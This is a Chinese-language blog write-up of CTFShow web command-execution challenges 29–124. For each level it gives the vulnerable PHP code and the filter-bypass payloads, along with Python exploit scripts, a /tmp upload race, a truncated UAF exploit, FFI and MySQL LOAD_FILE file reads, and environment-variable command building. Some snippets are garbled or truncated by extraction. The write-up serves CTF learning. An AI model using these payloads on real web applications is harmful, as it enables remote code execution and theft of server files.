跳到主要内容
CTFShow Web 入门命令执行 29-124 全通关详解 | 极客日志
PHP
CTFShow Web 入门命令执行 29-124 全通关详解 综述由AI生成 详细记录了 CTFShow Web 入门命令执行挑战 29-124 的解题思路与 Payload。内容涵盖基础注入、参数逃逸、文件包含配合伪协议、无参数 RCE、无字母 RCE、绕过无回显 RCE、黑盒过滤 POST 参数、输出混淆、目录限制、glob 协议、数据库文件读取、环境变量字符拼接及白名单函数利用等多种技术点。通过清理无关链接与推广信息,整理出标准化的技术笔记,帮助学习者掌握各类命令执行绕过技巧。
无尘 发布于 2026/4/6 更新于 2026/5/20 25 浏览命令执行
漏洞产生原理本质原因 :应用程序将用户可控的输入数据未经充分安全处理,直接传递给系统命令解释器(如/bin/bash、cmd.exe)执行,导致攻击者能够注入并执行任意操作系统命令。
PHP 代码执行函数 :eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort() 等
PHP 命令执行函数 :system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru() 等
命令执行利用 :基础注入、编码绕过、特殊字符绕过、文件包含配合、无参数 RCE、无字母数字 RCE、协议利用、权限提升等。
web29-web31:基础注入
web29
error_reporting (0 );
if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/flag/i" ,$c )){
eval ($c );
}
}else {
highlight_file (__FILE__ );
}
eval 危险代码执行函数,过滤了 flag 关键字,从代码执行转向命令执行即可,参考上述给出的命令执行的危险函数。
Payload:
?c=system(''tac fla*");
?c=system("tac fla?.php");
web30
过滤关键字:flag、system、php,换种命令执行函数即可。
Payload:
?c=echo shell_exec('tac fla*');
web31
过滤的字符和字符串:flag system php cat sort shell 点 空格 单引号。
命令执行危险函数并没有完全过滤,还可以用 passthru。至于空格过滤,下面给出几个本题适用的空格绕过方法:(前两个替换方法几乎只在命令执行中用到,后两个 web 题通用)
Payload:
Shell 内部变量替代空格:?c=passthru("tac${IFS}fla*");
Shell 内部变量 + 空参数混淆:?c=passthru("tac$IFS$9fla*");
制表符替代空格:?c=passthru("tac%09fla*");
换行符替代空格:?c=passthru("tac%0afla*");
web32-web36:参数逃逸
web32
error_reporting ( );
( ( [ ])){
= [ ];
(! ( , )){
( );
}
} {
( );
}
0
if
isset
$_GET
'c'
$c
$_GET
'c'
if
preg_match
"/flag|system|php|cat|sort|shell|\.| |'|\`|echo|;|\(/i"
$c
eval
$c
else
highlight_file
__FILE__
过滤的字符和字符串:flag system php cat sort shell 点号 空格 单引号 反引号 echo 分号 左括号。
由于增加过滤了括号,因此对于危险函数的使用不利。但是利用 include 函数无需括号的特性,在 c 参数中定义一个不受限制的新参数实现参数逃逸,再结合 php://filter 包装器读取 flag.php 的 base64 编码内容,将敏感内容放在 GET[1] 中绕过检查,成功实现文件包含读取 flag。
?c=include%0a$_GET[1]?&1=php://filter/convert.base64-encode/resource=flag.php
web33 方法同上,不过上题用的是 php 伪协议,这题可以用 data。
需要注意的是,这里在定义参数需要使用'?>'提前闭合语句,才能让 data 伪协议的解析不被当成 php 代码解析,所以 payload 如下:
?c=include%09$_GET[1]?&1=data://text/plain,
web34-36 同上即可,这里为了姿势的多样性秀一下参数逃逸 + 日志注入。
?c=include%0a$_GET[1]?&1=…/…/…/var/log/nginx/access.log
web37-web39:文件包含 + 伪协议命令执行
web37 error_reporting (0 );
if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/flag/i" ,$c )){
include ($c );
echo $flag ;
}
}else {
highlight_file (__FILE__ );
}
这题的代码已在上述注释中做了解释,如果我们能让 c=flag.php,就可以获取 flag 值了。但是 flag 字符串被过滤了,并且在 include 函数中是不支持使用通配符的,这时候我们可以使用 data 伪协议,我们知道 data 伪协议可以把后面的数据部分当成 php 代码执行,这一点在 include 函数里依然是可以利用的,因此,payload 可以这样构造:
web38 在上题的基础上,使用 php 的短标签语法绕过 php 关键字限制即可。
web39 error_reporting (0 );
if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/flag/i" ,$c )){
include ($c .".php" );
}
}else {
highlight_file (__FILE__ );
}
看似是在我们输入的参数后面拼接了".php"字符串,但实际上在执行完 system 命令以后 include 函数就会直接完成执行并返回输出,完全忽略了后面的字符串,所以延用上题 payload 即可。
web40:无参数 RCE if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/[0-9]|\~|\`|\@|\#|\\\$|%|^|\&|\*|\(|\)|-|=|+|{|[|]|}|:|'|" |,|<|.>|\/|\?|\\/i",$c )){
eval($c );
}
}else{
highlight_file(__FILE__);
}
无参数 RCE 的典型场景:有一个可以执行命令的函数如这题的 eval,但传入的字符串必须经过一个严格的正则过滤,不允许我们用任何的显式参数。
localeconv():返回包含本地化信息的数组,其第一个元素 [0] 通常是小数点
current():返回数组中的单元,默认取第一个值
dirname(): 函数返回路径中的目录部分
array_reverse(): 将数组内容反转
next(): 将指针向后移动一位并返回该元素
show_source(filename):读取文件内容函数
?c=var_dump(scandir(current(localeconv())));
扫描目录黄金规则:scandir(current(localeconv()));scandir('.')表示扫描当前目录,但是由于规则限制我们不能写参数,所以我们用 current(localeconv());来表示"."(利用 localeconv() 第一个元素 [0] 通常是小数点,current()默认取第一个值),再配合打印函数 var_dump,就构造出了扫描目录的 payload。
从第一步执行结果可以看到 flag 在倒数第二个文件中,所以想到了反转数组,使 flag 在正数第二个文件中,再配合一个切换指针的函数,实现文件读取。
?c=show_source(next(array_reverse(scandir(current(localeconv())))));
web41:无字母 RCE 这道题连字母都限制了,但是留下了'|'管道符,所以我们可以通过位或运算,将字母和数字这些字符重新构造出来。
通过脚本可以将可用字符列举出来,运行以后当前目录出现一个 rce_or.txt,列举了重新组合后可用的字符串。
import re
for i in range (256 ):
for j in range (256 ):
if not (re.match (preg,chr (i),re.I)or re.match (preg,chr (j),re.I)):
k = i | j
if k >=32 and k <=126 :
a ='%' +hex (i)[2 :].zfill(2 )
b ='%' +hex (j)[2 :].zfill(2 )
content +=(chr (k)+' ' + a +' ' + b +'
' )
f =open ('rce_or.txt' ,'w' )
f.write(content)
f.close()
通过上述脚本,再写一个脚本利用 rce_or.txt 中的内容组合成我们 RCE payload。
import requests import urllib from sys import *
import os
if (len (argv)!=2 ):print ("=" *50 )
print ('USER:python exp.py <url>' )
print ("eg:python exp.py http://ctf.show/" )
print ("=" *50 )
exit(0 )
url = argv[1 ]
def action (arg ):
s1 =""
s2 =""
for i in arg:
f =open ("rce_or.txt" ,"r" )
while True :
t = f.readline()
if t == "" :break
if t[0 ]== i:
s1 += t[2 :5 ]
s2 += t[6 :9 ]
break
f.close()
output ="(" "+ s1 +" "|" "+ s2 +" ")"
return (output)
while True :
param = action(input ("[+] your function:" ))+ action(input ("[+] your command:" ))
data ={'c' : urllib.parse.unquote(param)
r = requests.post(url, data=data)
print ("[*] result:\n" + r.text)
运行 python,输入我们想要执行的命令,get flag~
web42-web53:绕过无回显 RCE
web42 if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
system ($c ." >/dev/null 2>&1" );
}else {
highlight_file (__FILE__ );
}
题目代码想要将我们的命令执行效果重定向到空白来停止输出,我们可以提前截断代码的执行,或者使用下面的特殊逻辑运算符实现命令分隔达到回显目的,payload 如下。
?c=tac flag.php;
分号分隔两个独立命令,第一个命令正常输出:
?c=tac flag.php||
逻辑或 ||第一个命令成功则短路执行,第二个重定向不会执行
?c=tac%20flag.php%26%26
逻辑与&&第一个命令成功后才会执行第二个重定向命令,需要编码一下
?c=tac%20flag.php%26
& 后台执行第一个命令,立即返回输出,需要编码一下
web43
?c=tac flag.php||
?c=tac%20flag.php%26%26
?c=tac%20flag.php%26
web44 过滤了 flag 关键字,使用通配符即可,其余同理。
?c=tac f*||
?c=tac%20f*%26%26
?c=tac%20f*%26
web45 空格的替换同 web31,注意这里不要用转义符,用了会出现错误。
?c=tac%09f*%26
?c=tac IFS f*%26
?c=tac IFS$9f*%26
web46 有很多方法,我这里只说一句,虽然过滤了数字,但是 url 编码不会被解析成数字,所以用 url 编码绕过空格再把通配符换成问号绕过限制。
web47-web49 其实用上题 payload 即可,不过我这里用一个新方法,大家可以了解一下转义符:\ 的作用是让后面的字符 a 失去特殊含义,变成普通字符。
web49 过滤了百分号,但是 url 编码不会以单独一个%的形式被过滤,知道这一点以后构造如下 payload:
web50 新的空格过滤方法:
< 被 shell 解析为重定向输入,< 后面是文件名,所以 shell 会将文件内容作为重定向输出。
web51
web52 这里由于转义符被过滤我们用的是单引号绕过,shell 中引号可以用来做字符串拼接,相邻的字符串会被自动拼接。
这个特性在绝大多数 Shell(如 Bash、sh、zsh)中都存在。
一个简单的例子:
在 Linux 的 Bash 中,你可以这样输入:
?c=t''ac${IFS}fl''ag.php||
但是发现得到的 flag 是假的,太狡猾了。
用 ls 命令查看,从?c=ls${IFS}…/||一级一级返回上级目录查看,发现 flag 在根目录,当然大家也可以用第二个命令直接去根目录看。
?c=ls${IFS}…/…/…/||
?c=ls${IFS}/||
web52 (Code Update) if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|%|\x09|\x26|\>|\</i" ,$c )){
echo ($c );
$d =system ($c );
echo "<br>" .$d ;
}else {
echo 'no' ;
}
}else {
highlight_file (__FILE__ );
}
web53
web54:关键词模糊匹配 if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|%|\x09|\x26|\>|\</i" ,$c )){
system ($c );
}
}else {
highlight_file (__FILE__ );
}
事情终于变得有趣起来了,这道题用的是关键词模糊匹配,比如.*c.*a.*t.*会匹配包含字母 c、a、t 的任何组合,任何包含这三个字母的顺序出现都会匹配。
由于没有禁止 ls,所以我们可以先看看 flag 在哪个文件,发现是 flag.php 后,可以将 flag.php 另存为 ccccc.txt(文件名只要不和上面规则冲突)。
?c=cp${IFS}f??g.php${IFS}ccccc.txt
web55-web57:字符集受限 RCE
web55 if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/\;|[a-z]|\`|%|\x09|\x26|\>|\</i" ,$c )){
system ($c );
}
}else {
highlight_file (__FILE__ );
}
虽然过滤了所有大小写字母,但是没有过滤数字和空格,那就好办了,八进制编码 payload:tac flag.php,注意命令和参数要分开编码,因为空格编码的话被 shell 解析以后不再具有分隔功能,会出现错误,题目没有过滤空格,直接用真实空格,注意!编码结果如下。
$'\164\141\143' $'\146\154\141\147\56\160\150\160'
web56 if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/\;|[a-z]|[0-9]|\\\$|\(|\{|'|" |\`|%|\x09|\x26|\>|\</i",$c )){
system($c );
}
}else{
highlight_file(__FILE__);
}
过滤了所有字母和数字,以及反引号、%、Tab、&、>、<。
我们可以使用的字符:.、/、?、[、]、-、@ 等。
通过 PHP 文件上传机制实现命令执行绕过。核心原理是利用 PHP 处理文件上传时会在/tmp 目录下创建临时文件(如/tmp/phpXXXXXX)的特性。虽然临时文件会很快被删除,但在其存在的短暂时间窗口内,我们可以通过执行该文件来运行任意系统命令。
具体利用方式:通过构造 payload . /???/???
[@-
[
],其中点号相当于 source 命令用于执行脚本,/???/???
[@-
[
] 使用通配符匹配/tmp/phpXXXXXX 格式的临时文件名,
[@-
[
] 匹配 ASCII 码表中位于@和 [
] 之间的大写字母(即 A-Z)。这样完全避开了对小写字母、数字和特殊字符的过滤限制。
通过上传包含 bash 命令的文件,在临时文件生成后立即执行其中的命令,从而成功突破过滤实现任意命令执行。
import requests url ='http://8b2eda4b-aee8-406e-9cb3-e0837a533649.challenge.ctf.show/'
def exploit (command ):
payload ='?c=.%20/???/????????[@-[]'
files ={"file" :(f"shell.sh" ,f"#!/bin/bash\n{command} " ,"text/plain" )}
try :
response = requests.post(url + payload, files=files)
print ("响应内容:" )
print (response.text)
except Exception as e:
print (f"错误:{e} " )
if __name__ =="__main__" :
while True :
cmd =input ("请输入要执行的命令 (输入 quit 退出): " )
if cmd.lower()=='quit' :break
exploit(cmd)
运行以后执行 tac flag.php 获得 flag。
web57 题目代码明确提示了 flag 在 36.php 里面,过滤更加严格。
根据这些允许的字符,我们可以利用 Shell 算术扩展 $(()) 进行数学运算来构造数字:
echo$(())
echo ~$(()))
echo$((~$(())))
echo$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))
在 linux 中进行测试确实输出 36,测试值即为 payload。
下面直接给出 payload,执行以后检查页面源代码可以看到 flag。
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
web58-70:黑盒过滤 POST 参数
web58-web65 if (isset ($_POST ['c' ])){
$c =$_POST ['c' ];
eval ($c );
}else {
highlight_file (__FILE__ );
}
代码看似就是最简单的代码执行转换命令执行,但是 post 传参执行 c=system("ls");页面显示命令执行函数被禁用。
还有另一种思路,配合文件读取函数,实现任意文件读取。
c=highlight_file("flag.php");
c=readfile("flag.php");#web59 开始被过滤
c=show_source("flag.php");#web66 开始被过滤
c=echofile_get_contents("flag.php");#web59 开始被过滤
web66-67
c=highlight_file("flag.php");
flag 输出'秀秀得了,flag 这次不在这里'。
可以通过前面讲过的黄金规则进行目录扫描,扫描根目录:
c=var_dump(scandir('/'));
c=highlight_file("…/…/…/flag.txt");
web68-70 题目提示 highlight_file() 也被禁用。
RCE+include 包含函数参数逃逸绕过,具体思路方法见 web32。
c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=…/…/…/flag.txt
web71 输出混淆 error_reporting (0 );
ini_set ('display_errors' ,0 );
if (isset ($_POST ['c' ])){
$c =$_POST ['c' ];
eval ($c );
$s =ob_get_contents ();
ob_end_clean ();
echo preg_replace ("/[0-9]|[a-z]/i" ,"?" ,$s );
}else {
highlight_file (__FILE__ );
}
这道题直接对执行结果进行替换,将所有字母和数字都替换成?,可以提前终止脚本执行使替换规则直接作废。
c=include("/flag.txt");die();
web72 目录限制 和上题代码是一样的,只是 flag 换位置了,用之前的方法查找 flag 不能成功了。
c=var_dump(scandir('/'));
是因为本题使用了 open_basedir(),将 php 操作的文件锁在指定的路径中,而题目同时限制了 set_ini,也就是说我们没法通过修改配置文件来绕过。
glob://是 PHP 内置的一个流包装器,它不直接读取文件内容,它根据指定的模式来寻找并返回匹配的文件或目录路径。
c=$a =newDirectoryIterator ("glob:///*" );foreach ($aas$f ){echo ($f ->__toString ().' ' );}exit (0 );
$c =$a =opendir ("glob:///*" );
while (($file =readdir ($a ))!==false ){
echo $file ."<br>" ;
};
exit ();
POST 提交参数 payload 以后,成功读到了根目录下面存在 flag0.txt 文件。
由于题目限制我们无法跨目录读取文件,也无法用命令执行函数,所以需要用到 UAF 脚本,这个涉及到了一些 pwn 的知识,主要就是说 UAF 脚本通过内存操作修改 PHP 内部的函数指针,将普通函数调用劫持为 system 命令执行。
c=?> <?php pwn ("ls /;cat /flag0.txt" );function pwn ($cmd ) {global $abc ,$helper ,$backtrace ;class Vuln {public $a ;public function __destruct ( ) {global $backtrace ;unset ($this ->a);$backtrace =(newException)->getTrace ();
将以上代码 url 编码一下,得到 payload。
web73-74:glob 协议+include 读取 先用 glob 协议看一下 flag 位置,操作同上,查到 flag 文件存在。
c=$a=newDirectoryIterator("glob:///*");foreach($aas$f){echo($f->__toString().' ');}exit(0);
按上题方法操作发现 UAF 又被禁用了,include 又可以用了,同 web71。
c=include("/flagc.txt");die();//web73
c=include("/flagx.txt");die();//web74
web75-web76:数据库文件读取 先用 glob 协议看一下 flag 位置,操作同上,查到 flag 文件存在。
glob 协议找到 flag 位置在 flag36.php,但是 include 函数被禁了,UAF 脚本的经典 strlen 函数也用不了,那么我们可不可以直接去从数据库读取文件呢?
LOAD_FILE() 是 MySQL 的一个内置函数,用于读取服务器上的文件内容,并以字符串形式返回。由于题目暗示中有提到 ctftraing 这个数据库,所以我们直接去读。
c=try {$dbh =newPDO ('mysql:host=localhost;dbname=information_schema' ,'root' ,'root' );foreach ($dbh ->query ('SELECT LOAD_FILE("/flag36.txt")' )as $row ){echo ($row [0 ])."|" ;}$dbh =null ;}catch (PDOException$e ){echo $e ->getMessage ();die ();};exit ();
c=try {$dbh =newPDO ('mysql:host=localhost;dbname=information_schema' ,'root' ,'root' );foreach ($dbh ->query ('SELECT LOAD_FILE("/flag36d.txt")' )as $row ){echo ($row [0 ])."|" ;}$dbh =null ;}catch (PDOException$e ){echo $e ->getMessage ();die ();};exit ();
web77 这道题题目提示了 php7.4,而 php7.4 版本开始引入了 FFI,FFI 是 Foreign Function Interface 的缩写,意为'外部函数接口'。它允许一种编程语言直接调用另一种编程语言编写的库(函数)和操作其数据类型。
在 PHP 的语境下,PHP FFI 使得我们能够在 PHP 脚本中直接调用 C 语言编写的函数和操作 C 语言的数据结构(如结构体、指针)。
用前面的 glob 协议读取根目录有 flag36x.txt 和 readflag 两个文件,直接读取 flag36x.txt 没有权限,readflag 是一个可以获取 flag 的程序。
flag36x.txt: -r–r-----,只有 root 用户和 root 组可以读取,www-data 用户无法直接读取
readflag:-r-sr-xr-x,设置了 SUID 权限(那个 s),任何用户执行时都会以文件所有者 (root) 的权限运行
尝试将 readflag 程序读到的 flag 重定向到 1.txt 文件中读取:
c=$ffi=FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);
由于我们 php 的操作权限被锁在了网站目录,所以这里直接网站弟子/1.txt 访问 1.txt 即可。
web118:环境变量字符拼接
web118 查看源代码看到了 system($code);
但是无论我们输入什么命令都显示 evil input,说明是被过滤了。
核心思路:通过提取环境变量字符串的特定字符来拼接出想要的命令。
${PWD}表示当前所在的目录,一般是/var/www/html
${PATH}表示文件位置相关的环境变量,一般指 /bin
~A 代表是最后一位字符,那么
${PWD:~A}的结果就是字母 l,
${PATH:~A}的结果是字母 n
它们拼接在一起正好是 nl,能够读取 flag,因为通配符没有被过滤,所以可以用通配符代替 flag.php
${PATH:~A}${PWD:~A}${IFS}????.???
web119-web120 和上题一样,但是上题 payload 跑不出结果了,应该是过滤了关键词。
${#}:这个特殊变量代表传递给脚本或函数的参数个数。在没有参数的情况下,它的值为 0。
${##}:这是 $# 的长度。因为 $# 是 0,一个字符,所以 ${##} 的值为 1。 ${#SHLVL}:SHLVL 是 shell 的嵌套层级,初始为 1。数字 1 的长度是 1,所以值也是 1。
${SHLVL}:如果我们再打开一个子 shell,这个值会变成 2。
${#IFS}:IFS (Internal Field Separator) 内部字段分隔符,在 Linux 下默认是空格、制表符、换行符。这三个字符组成的字符串长度是 3。
~A:这是一个特殊的 Bash 语法,~A 被解释为 -1。
${PWD:~A} 等价于 ${PWD: -1:1},即取最后一个字符。
$IFS:本身用作命令参数间的空格。
关键字符的提取
已知 $PWD 为 /var/www/html。
命令组装
payload:/bin/cat flag.php
${PWD:${#} :${##} } ???${PWD:${#} :${##} } ?${PWD:${SHLVL} :${#SHLVL} } ${PWD:~${SHLVL} :${#SHLVL} } $IFS ?${PWD:~A} ??.???
web120-121 <?php error_reporting(0 );
highlight_file (__FILE__ );
if (isset ($_POST ['code' ])){
$code =$_POST ['code' ];
if (!preg_match ('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|%|\<|\>|\'|\"|\`|\||\,/' ,$code )){
if (strlen ($code )>65 ){echo '<div>' .'you are so long , I dont like ' .'</div>' ;}
else {echo '<div>' .system ($code ).'</div>' ;}
}else {
echo '<div>evil input</div>' ;
}
}
?>
上题 payload 不再有效,我们想要执行的命令:
构造方法和上一题是一样的,只多了一个 r 的构造。
code=${PWD::${##} } ???${PWD::${##} } ${PWD:${#IFS} :${##} } ?? ????.???
web121 新增过滤了 SHLVL,但是如果用这个方法就不影响了,120-121 题 payload 是一样的。
web122 核心思路:通过 HOME 获取' / '(/root),但是需要用到数字 1,为了获取数字 1 这一关键参数,可以采用一种巧妙的错误触发方法:使用输入重定向符号 < 后跟一个不存在的文件名(例如 A)。由于系统中不存在文件 A,该命令会执行失败并返回错误代码 1,此时特殊变量 $? 会保存这一返回值。
code=<A;${HOME::$?} ???${HOME::$?} ?????${RANDOM::$?} ????.???
web124:白名单函数利用 error_reporting (0 );
if (!isset ($_GET ['c' ])){
show_source (__FILE__ );
}else {
$content =$_GET ['c' ];
if (strlen ($content )>=80 ){die ("太长了不会算" );}
$blacklist =[' ' ,'\t' ,'\r' ,'\n' ,'\'' ,'"' ,'`' ,'\[' ,'\]' ];
foreach ($blacklistas$blackitem ){
if (preg_match ('/' .$blackitem .'/m' ,$content )){die ("请不要输入奇奇怪怪的字符" );}
}
$whitelist =['abs' ,'acos' ,'acosh' ,'asin' ,'asinh' ,'atan2' ,'atan' ,'atanh' ,'base_convert' ,'bindec' ,'ceil' ,'cos' ,'cosh' ,'decbin' ,'dechex' ,'decoct' ,'deg2rad' ,'exp' ,'expm1' ,'floor' ,'fmod' ,'getrandmax' ,'hexdec' ,'hypot' ,'is_finite' ,'is_infinite' ,'is_nan' ,'lcg_value' ,'log10' ,'log1p' ,'log' ,'max' ,'min' ,'mt_getrandmax' ,'mt_rand' ,'mt_srand' ,'octdec' ,'pi' ,'pow' ,'rad2deg' ,'rand' ,'round' ,'sin' ,'sinh' ,'sqrt' ,'srand' ,'tan' ,'tanh' ];
preg_match_all ('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' ,$content ,$used_funcs );
foreach ($used_funcs [0 ]as $func ){
if (!in_array ($func ,$whitelist )){die ("请不要输入奇奇怪怪的函数" );}
}
eval ('echo ' .$content .';' );
}
题目过滤逻辑:黑名单过滤特殊字符,白名单给定可用数学函数,字符串长度限制。
不能直接写 system 等非数学函数→ 通过字符串构造 + 变量函数调用
不能写 $_GET[x]([、]、单引号被过滤)→ 用花括号 {} 代替 []→ 用进制转换构造 _GET 字符串
不能直接写字符串 "cat f*"→ 通过 GET 参数传递
base_convert(int|string $num, int $frombase, int $tobase):可以在进制间转换数字/字符串,36 进制包含字母 a-z 和数字 0-9,因此可以构造出字母字符串
dechex(int $num):十进制 → 十六进制(字符串)
hexdec(string $hex_string):十六进制字符串 → 十进制数字
bin2hex(string $str) 和 hex2bin(string $hex):不在白名单,但可以用 base_convert 构造 hex2bin
base_convert('hex2bin' ,36 ,10 )
这样我们可以用 base_convert(37907361743,10,36) 得到 'hex2bin'。
再算出 _GET 的 16 进制形式 5f474554 的 10 进制:
$pi=base_convert(37907361743 ,10 ,36 )(dechex(1598506324 ));// 分解:// base_convert(37907361743 ,10 ,36 ) → "hex2bin" // dechex(1598506324 ) → "5f474554" // hex2bin("5f474554" ) → "_GET" //现在 $pi 就是字符串 _GET。
第二步:构造动态函数调用
用 {} 代替 [] 访问数组:
$$pi{abs }($$pi{acos})//参数选用白名单里面给定的函数即可,这样不会被提示禁止奇奇怪怪函数// 即 $_GET{abs }($_GET{acos})// 即 $_GET['abs' ]($_GET['acos' ])
?c=$pi=base_convert(37907361743 ,10 ,36 )(dechex(1598506324 ));$$pi{abs }($$pi{acos})&abs =system&acos=cat f*
abs 参数值为 system,acos 参数值为 cat f*
相关免费在线工具 curl 转代码 解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
Base64 字符串编码/解码 将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
Base64 文件转换器 将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
Markdown转HTML 将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online
HTML转Markdown 将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online
JSON 压缩 通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online